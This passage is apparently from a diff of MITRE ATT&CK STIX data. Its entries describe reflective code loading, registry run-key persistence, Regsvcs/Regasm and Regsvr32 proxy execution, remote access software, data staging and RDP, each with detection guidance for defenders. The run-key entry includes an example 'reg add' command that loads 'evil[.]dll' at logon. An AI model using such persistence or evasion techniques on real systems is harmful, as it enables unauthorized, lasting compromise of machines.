backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)", + "x_mitre_contributors": [ + "Jo\u00e3o Paulo de A. Filho, @Hug1nN__", + "Joas Antonio dos Santos, @C0d3Cr4zy", + "Shlomi Salem, SentinelOne", + "Lior Ribak, SentinelOne", + "Rex Guo, @Xiaofei_REX, Confluera" + ], + "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1620", + "external_id": "T1620", + "source_name": "mitre-attack" + }, + { + "url": "https://thewover.github.io/Introducing-Donut/", + "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.", + "source_name": "Introducing Donut" + }, + { + "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/", + "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.", + "source_name": "S1 Custom Shellcode Tool" + }, + { + "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html", + "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.", + "source_name": "Stuart ELF Memory" + }, + { + "url": "https://0x00sec.org/t/super-stealthy-droppers/3715", + "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.", + "source_name": "00sec Droppers" + }, + { + "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique", + "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.", + "source_name": "Mandiant BYOL" + }, + { + "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/", + "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.", + "source_name": "Intezer ACBackdoor" + }, + { + "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/", + "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.", + "source_name": "S1 Old Rat New Tricks" + }, + { + "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/", + "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.", + "source_name": "MDSec Detecting DOTNET" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-23T22:05:32.409Z", + "name": "Registry Run Keys / Startup Folder", + "created": "2017-05-31T21:30:49.988Z", + "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1060", + "external_id": "T1060", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/270.html", + "external_id": "CAPEC-270", + "source_name": "capec" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa376977" + }, + { + "source_name": "Microsoft RunOnceEx APR 2018", + "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.", + "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key" + }, + { + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-01-06T18:36:29.226Z", + "name": "Registry Run Keys / Startup Folder", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "created": "2020-01-23T22:02:48.566Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/001", + "external_id": "T1547.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/270.html", + "external_id": "CAPEC-270", + "source_name": "capec" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa376977" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry", + "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.", + "source_name": "Microsoft Wow6432Node 2018" + }, + { + "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/", + "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.", + "source_name": "Malwarebytes Wow6432Node 2016" + }, + { + "source_name": "Microsoft RunOnceEx APR 2018", + "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.", + "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key" + }, + { + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T19:00:30.734Z", + "name": "Regsvcs/Regasm", + "created": "2017-05-31T21:31:33.499Z", + "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1121", + "external_id": "T1121", + "source_name": "mitre-attack" + }, + { + "source_name": "MSDN Regsvcs", + "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", + "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", + "source_name": "MSDN Regasm" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvcs" + }, + { + "source_name": "LOLBAS Regasm", + "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-06-20T22:36:37.411Z", + "name": "Regsvcs/Regasm", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-23T19:42:16.439Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/009", + "external_id": "T1218.009", + "source_name": "mitre-attack" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", + "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", + "source_name": "MSDN Regsvcs" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", + "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", + "source_name": "MSDN Regasm" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvcs" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regasm" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T19:00:56.475Z", + "name": "Regsvr32", + "created": "2017-05-31T21:31:26.966Z", + "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1117", + "external_id": "T1117", + "source_name": "mitre-attack" + }, + { + "url": "https://support.microsoft.com/en-us/kb/249873", + "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", + "source_name": "Microsoft Regsvr32" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", + "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvr32" + }, + { + "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/", + "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", + "source_name": "Carbon Black Squiblydoo Apr 2016" + }, + { + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov", + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Regsvr32", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:37:32.931Z", + "created": "2020-01-23T19:52:17.414Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)", + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/010", + "external_id": "T1218.010", + "source_name": "mitre-attack" + }, + { + "url": "https://support.microsoft.com/en-us/kb/249873", + "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", + "source_name": "Microsoft Regsvr32" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", + "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Regsvr32" + }, + { + "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/", + "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", + "source_name": "Carbon Black Squiblydoo Apr 2016" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Access Software", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1219", + "external_id": "T1219", + "source_name": "mitre-attack" + }, + { + "source_name": "Symantec Living off the Land", + "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.", + "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf" + }, + { + "source_name": "CrowdStrike 2015 Global Threat Report", + "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf" + }, + { + "source_name": "CrySyS Blog TeamSpy", + "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.", + "url": "https://blog.crysys.hu/2013/03/teamspy/" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.0", + "modified": "2020-06-20T20:42:37.320Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Data Staging", + "x_mitre_data_sources": [ + "File: File Access", + "File: File Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.019Z", + "created": "2020-03-13T21:14:58.206Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1074/002", + "external_id": "T1074.002", + "source_name": "mitre-attack" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-11T18:24:04.507Z", + "name": "Remote Desktop Protocol", + "created": "2017-05-31T21:30:59.769Z", + "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1076", + "external_id": "T1076", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "Alperovitch Malware", + "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.", + "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/" + }, + { + "source_name": "RDP Hijacking Korznikov", + "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", + "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "source_name": "Kali Redsnarf", + "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", + "url": "https://github.com/nccgroup/redsnarf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Remote Desktop Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/001", + "external_id": "T1021.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "Alperovitch Malware", + "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.", + "url": 